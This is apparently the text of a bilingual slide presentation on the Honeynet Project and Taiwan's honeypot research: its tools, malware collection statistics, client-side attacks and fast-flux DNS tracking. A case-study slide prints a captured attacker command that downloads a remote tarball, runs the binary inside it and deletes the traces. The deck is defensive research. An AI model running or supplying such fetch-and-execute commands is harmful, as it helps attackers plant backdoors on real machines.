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 蔡一郎 Steven
 學歷：國立成功大學電機工程研究所碩士
 現任：國家高速網路與計算中心資訊設施組組長
 重要經歷：

 國際資安組織Honeynet Project 正式會員

 國家高速網路與計算中心副工程師

 國立成功大學研究發展基金會助理研究員

 崑山科技大學兼任講師

 自由作家
▪ 電腦圖書著作33本
▪ Linux Guide、NetAdmin專欄作家，計50餘篇

 專業證照：

 RHCE、CCNA、CCAI、CEH、CHFI、ACIA、ITIL Foundation、ISO 27001 
LAC、ISO 20000 LAC
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 鄭毓芹 Julia
 學歷：國立成功大學電腦與通訊工程研究所
 現任：國家高速網路與計算中心 助理研究員
 重要經歷：

 國立成功大學電腦與通訊工程博士班

 中研院前曕資安技術跨國合作計劃 博士級研究員

 國際資安組織Honeynet Project 正式會員

 Taiwan Honeynet Project 
 專長: 資訊安全、系統安全、誘捕技術、惡意程式分析
 專業證照：

 ITIL Foundation 3
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 The Honeynet Project 
 Honeypot / Honeynet technology
 Taiwan Honeynet Project
 Research Project and Achievements
 Client Honeypot – Capture-HPC
 Summary
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 All volunteer organization of security professionals 
dedicated to researching cyber threats by deploying 
networks around the world to be hacked.

 Mission Statement:

To learn the tools, tactics, and  motives of the 
blackhat community, and share the lessons learned.
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 Goals: 

 Awareness: To raise awareness of the threats that exist.

 Information: For those already aware, teach and inform 
about the threats.

 Research: To give organizations the capabilities to learn 
more on their own
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 Honeynet Project History:
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1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009

Member organized 
in  Wargames 

mailing list

Lance Spitzner
officially become 

Honeynet Project 

Organize 
Research  
Alliance

啟動Annual 
Workshop機制

Funded  
Google Code 

Project

High-Interaction
Honeywall CDROM ROO

正式推出

Client Honeypot
技術發展

Virtual Honeypot
觀念與技術發展

至今共有33個
國家成立支會

GDH Project
全球分散式誘
捕系統佈建



 Value of the Project: 

 Totally open source, sharing all of our work, research and 
findings.

 Everything we capture is happening in the wild (there is 
no theory)

 Made up of security professionals from around the world

 No agenda, no employees, nor any product or service to 
sell.
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 Project Organization

 Not-profit (501c3) organization

 Board of Directors

 Diverse set of skills and experiences.

 Team works virtually, from around the world.
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 Honeynet Research Alliance

 The Alliance is a forum of organizations around the world 
actively researching, sharing an deploying Honeynet 
technologies. 

http://www.honeynet.org/alliance/
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 Alliance Members:

 South Florida Honeynet Project

 SAIC Wireless Honeynet

 netForensics Honeynet

 Azusa Pacific University

 Paladion Networks Honeynet Project (India)

 Internet Systematics Lab Honeynet Project (Greece)

 AT&T Mexico Honeynet (Mexico)

 Honeynet BR (Brazil)

 Irish Honeynet (Ireland)
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 2009 Annual Workshop:

 2009年2月25日至2月28日於馬來西亞吉隆坡舉辦

 全球共70人參與 (Closed Meeting)

 會議中討論:

 共15個國家介紹目前研究發展現況，組織運作現況

 訂定重要的R&D計畫，跨國共同合作

 技術交流，經驗與研究分享 (Share Lesson Learned)

 讓各支會成員互相交流，建立Trusted Relationship

 Hands-on Training Courses
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We are here !
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 Honeypot General Purpose :  
 Designed operation systems and services around your 

networks to be probed and  hacked.
 All data collected is of high value and unpolluted

 What is Honeypot ? (單點)

 Honeypot 為一個設計為運作中且無營運價值之系統，
被用來當作駭客攻擊目標，用來學習駭客活動與行為，
並收集網路威脅的相關資訊

 運作模式: 模擬特定的服務與作業系統來運作，並對
進出的資料進行監控、捕獲，提供研究分析



 Honeypot : 
 Designed operation systems and services around your 

networks to be probed and  hacked.

 All data collected is of high value and unpolluted
 Advantages: 
 Reduce false negatives and false positives

 Collect little data, but data of high value

 Minimal resources
 Disadvantages:
 Limited field of view (microscope)

 Risk to be compromised.

15



 What is a Honeynet ?

 High-interaction honeypot

 It is an architecture, not a product or software

 Populate with live systems

 Once compromised, data is collected to learn the tools, tactics, 
and motives of the blackhat community. 

 Value of Honeynet 

 Research : Identify new tools and new tactics, Profiling blackhats

 Early warning and prediction 

 Incident Response / Forensics

 Self-defense
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Attack Behavior came into Honeynet . 
Backdoor packets are captured

lynx –source http://xxx.xxx.xxx.2:8882/foo > tmp/foo.tgz
cd /tmp;   tar –zxvf foo.tgz;
./ttserve;  
rm –rf foo.tgz ttserve;

Decode backdoor commands

Case Study:  What honeynet can do  ? 

Understand Hacker’s new  tactics !  (lynx to get malware and execute it .) 
Get Hacker’s operating station!  (http://xxx.xxx.xxx.2:8882)

http://xxx.xxx.xxx.2:8882/foo


Honeypot

Honeynet

Client 
Honeypot

Malware 
Honeypot

GDH 2

1998 ~ 迄今

工具：Honeyd, VoIP Pot, SpamPot, WirelessPot,  Google Hack Pot, HIHAT

 模擬不同功能與Service之系統，收集不同種類駭客攻擊行為

2002 ~ 迄今

工具：Honeywall CD-ROM , HoneyStick

 提供完整的（誘捕）網路架構，並對進出之網路流量進行監控與收集

2005 ~ 迄今

工具：HoneyC , Capture-HPC, HoneySpider, HoneyClient

 模擬使用者網站瀏覽行為，探測惡意網站

2006 ~ 迄今

工具：Nepenthes, Honeytrap

 模擬系統弱點，系統與惡意程式交談過程，收集惡意程式

2004 ~ 迄今

工具：GDH1, GDH2 

 架設Global Distributed Honeypot，收集全球攻擊事件，建立資料共享機制
18



分析
工具

Network

Connection

Web App.

Malware

Client-Side 

Behavior 

PCAP file 

Capture-BAT: Win32 Operation System Behavior Analysis Tool

Honeysnap: Used for extracting and analyzing data 

DNS  Tracker: Used to find domains resolving, track hostname IP

EXE file  Pehunter: grabs Windows executables off the network

Honeymole: Setup Honeyfarm multiple sensors that redirect 
traffic to a centralized collection of honeypots.

 Honeywall CD ROM: Create a network architecture for capturing 
attacks

 Honeystick: It includes both the Honeywall and honeypots from a 
single, portable device

Honeyd: Low-interaction used for capturing attacker activity
Honeytrap: Capture Novel attacks against network services

Google Hack Honeypot :
HIHAT: transfer PHP application to Honeypot

誘捕
工具

Nepenthes: emulate known vulnerabilities to download malware

HoneyC: Low interaction Client Honeypot 
Capture-HPC: High-Interaction Client Honeypot
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 Hot Topics : 

 GDH2 : Global distributed honeypot II

 Malware Collection Honeypot 

 Client Honeypot for exploring malicious web server

 Fast-flux domain tracking

 Botnet detection and community tracking

20



 於2008年9月申請加入Honeynet Project國際
組織，11月27日獲Honeynet Project同意，成
立台灣Honeynet Project支會(Honeynet Project 
Taiwan Chapter)
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 目標:

 積極參與Honeynet Project跨國資安研究發展合作計畫，
並成為全球網路攻擊資料收集與監控網之一環

 大量建置分散式誘捕網路於台灣區學術網路，用於收
集現行網路攻擊與惡意程式，分析網路威脅趨勢，協
助制訂防禦政策

 開闢關鍵性資安研究計畫，與國內產學界進行研發合
作，改善台灣資安現況

 舉辦教育訓練，推廣誘捕技術，提升產學界資安能量

22



 主要執行工作:
 服務提供:

▪ 教育訓練: 誘捕技術推廣與教學
▪ KYE 技術文件中文重點摘要
▪ 誘捕工具安裝與使用重點說明
▪ 定期攻擊趨勢報告
▪ 擔任Honeynet Project 台灣區溝通橋梁

 技術研發與部署:
▪ Honey-Driven Botnet Community Detection
▪ Malware Collection Install CD-ROM 發展
▪ Malware Collection Technology and DB Setup
▪ Malicious Web Server Identify (Mal-Web Explorer)
▪ Hacked finder using Google Code
▪ GDH2 deployment
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 支援國內重點發展計畫:

▪ Botnet研發與偵測相關計畫

 國際合作:

▪ Honeynet Project攻擊資料分享與 Critical Attacking通報

▪ mwcollect.org 惡意程式資料庫資料分享

▪ 參與GDH2 (Global Distribution Honeynet )研究計畫，成為
全球誘捕偵測網之一環，目前為亞洲區GDH2聯絡中心

▪ 參與Honeyclient Improvement 
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 Malicious Web + RFI + Fast-Flux+ Phishing = 
完整的駭客社群金流體系
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Compromise Web
A 

1. 利用RFI 弱點，下載惡意Scripts，
Site A 變成駭客的Host Proxy，駭

客可透過A控制Bot

2. 建立Malware File Server

網頁掛馬

將Malicious 
Code植入Page，

Phishing 
Web Site 

C1

Phishing 
Web Site 

C2

Malicious 
Web Site 

B3

回報站

SMTP 
Server

SMTP 
Server

Malicious 
Web Site 

B1 Malicious 
Web Site 

B2

1. 使用者瀏覽網頁，
即下載惡意程式，中毒

回報IP，Email，使用者帳號，
作業系統，CPU，MSN
(Web , Smtp)

下載更多惡意程式

寄發內含釣魚連結
假冒信件

洩漏隱私
性資料



 全球威脅: 鑒於全球網路威脅盛行，駭客已組成全球
化之攻擊合作社群，單從區域性之攻擊行為之收集與
分析，已無法成功了解攻擊全貌。

 駭客攻擊手法改變: 駭客多使用分享式網站平台
(如:Google協力平台，Blog、無名小站)形成釣魚站
台，並利用網站掛馬與垃圾郵件大量散佈惡意連結，
導致使用者遭受感染並取得控制權，形成大規模之殭
屍網絡與惡意釣魚網站。

• 惡意程式分析不易: 惡意程式具反偵測分析機制，加
密、隱藏機制，惡意程式分析難易度提升，導致防毒
軟體病毒碼更新速度不及，偵測效能低落。

• 快速變動網域(Fast-Flux Domain)威脅:全球殭屍網絡活
動盛行，駭客利用Fast-Flux Domain技術來隱藏其行蹤，
提升C&C站台的存活率，避免被執法單位查獲。
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 Large-Scale VM-based Honeynet Deployment
 Malware Collection and Analysis
 Honey-Driven Botnet Detection 
 Client –Side Attack: 

 Malicious Web Server Exploring 

 RFI Scripts Detection

 Fast-Flux Domain Service Tracking 
 Research Alliance :  

Distributed Search and Analysis on Honeynet Data
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VM Honeynet 

 Large-Scale Honeynet Deployment over six class C 
networks
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 Deploy honeynet over 6-class C  including honeypot : 
 Malware Collection Sensors: 30 
 Web honeypots : 3
 High-Interaction honeypots: 16  
 Low-Interaction  honeypot : 8

 Information from Honeynet
 770 MB Logs (to be analyzed) a day on average 
 434,204 Connections (to honeynet) a day on average
 2.04G Traffic Flow (to honeynet) a day on average  
 22 Log Files and format 

 Integrated into Virtual Machine platform 
 易於管理與大量部屬
 困難點 1: 如何導入不同網段攻擊流量於honeynet
 困難點 2: 有限資源分配以求達到最大部屬量(CPU、Storage、RAM)

30



 資料分析，採用Information Search技術

 所要解決的問題
▪ 大量的資訊必須即時處理

▪ 能減少程式開發的時間

▪ 須快速反應並與資訊安全管理平台整合

 解決方案: 搜尋引擎 + Security Knowledge
▪ 以Indexing 取代資料庫，有效率進行分散式的資訊探勘

▪ 避免關聯式資料庫的運算瓶頸

 優點:
▪ 資料分析效率佳: 對240G Log資料分析，可於5分鐘內完成

▪ 資料關聯能力: 可同時對多種不同Log資料，進行關聯分析
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 Malware Collection : 10695 unique samples from 
Taiwan

 收集來源:

1. Automatic Spreading Malwares from malware collection sensors

2. Malicious Websites  from Client Honeypots (client-side attack, RFI )

3. Three-Party Upload from other chapters and security organizations

 惡意程式分類:

32

Backdoor

Dropper

P2P bot

Perl bot

手機病毒

木馬

Virus

Worm



 惡意程式變種統計:

 變種數越多，代表惡意程式活躍度越高，

 惡意程式具網路通訊能力(ex.bot) ，變種能力越強

 最新變種之惡意程式，57%具有fast-flax現象
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Malware List



 Malware Analysis: 
 Unique Sample Analysis:

▪ Antivirus Scanner Detection
▪ Spreading Information 
▪ Behavior Analysis (Registry, Process, File, Network Activities)

35Antivirus Scanner Detection

Spreading Information

Behavior Analysis 



 Malware Family Analysis : 

 針對每一種不同的Malware Family關聯分析，藉此找出
Botnet Community特性、感染擴散趨勢、變種趨勢
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觀察Rbot Family，可了解此Family在全球
擴散嚴重度，許多受害主機
因WORM/Rbot.553948 感染成為Bot。

也可收集到許多台灣特有的惡意程式，
與不同的變種特性

台灣特有惡意程式，防毒軟體偵測率約20%
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Collection Analysis Detection Tracking

建置與運用
Honeynet誘捕
惡意程式與惡
意網站

運用Behavior Analysis
與Antivirus、Family 
Correlation等分析技術，
找出Malware特性與感
染趨勢

運用Sandbox、
Forensic、Testbed等
技術找出C & C
與惡意程式伺服器

1. 利用Malware Family 擴展偵
測範圍，完成Botnet
Community Tracking。

2. 國際資安組織交流，事件
通報，建立惡意程式資料庫



3. Honey-Driven Botnet Detection 
Bot Analysis In Taiwan 

分為三大類: Bot Master , Education Bot, 其他Bots
多數Bot 來自於dynamic.hinet.net
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 Client-Side Attack: 當用戶端應用程式(Client 
Application)與Malicious Server相互交談時(Interact)，
攻擊Client Application 弱點，或是誘使Client 
Application執行惡意程式。

 任何Client/Server 架構之服務，都可能導致

 Web Browser, FTP, Email, MSN, Multimedia Stream

 現行之Firewall/IPS/Proxy之防禦方式，難以偵測

Pass

檢查
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1. 植入Exploit ，並進行Obfuscation。
( encoding, dynamical content with Javascript, functions)

2. Redirect

window.open() 
window.location.href()
<meta http-equiv=“refresh” content=“…”>3. 執行Exploit Code
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 Drive-by-download (瀏覽即下載): 在使用者
不知情或是不了解知情況下，下載惡意程
式於用戶端電腦當中。

 Enable Active-X  Component

 瀏覽E-mail，網頁，橫幅廣告，被導向惡意連結
下載惡意程式
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 Malicious Web Exploring : 

 Taiwan Honeynet Project 採用主動式Client 
Honeypot技術，探測惡意網站，解析網頁掛馬，
破獲Botnet中繼站與檔案伺服器。

 建立惡意網域黑名單，監控網路黑名單之變動
情形。
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DNS

Victim

A B C

Content 
Server

A,B,C…etc

1. Phish.net?

2. IP=A

3. GET / HTTP/1.0

4. GET / HTTP/1.0

5. “Welcome to Phish”

6. “Welcome to Phish”

Flux agents



;; ANSWER SECTION: 

thearmynext.info. 600 IN A 69.183.26.53 

thearmynext.info. 600 IN A 76.205.234.131 

thearmynext.info. 600 IN A 85.177.96.105 

thearmynext.info. 600 IN A 217.129.178.138 

thearmynext.info. 600 IN A 24.98.252.230 

;; ANSWER SECTION: 

thearmynext.info. 600 IN A 213.47.148.82 

thearmynext.info. 600 IN A 213.91.251.16 

thearmynext.info. 600 IN A 69.183.207.99 

thearmynext.info. 600 IN A 91.148.168.92 

thearmynext.info. 600 IN A 195.38.60.79 

First 
Lookup

Second 
Lookup after 
TTL expired

Different 
Network 
Ranges

Low TTL

DSL/Dial
-up 

ranges

Different 
AS

Completely 
different 

asnwer on 
2nd Query
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Malware 
Analysis 

Malicious 
Web Server 

Malicious 
Domain

Fast-Flux 
Domain Tracking

?




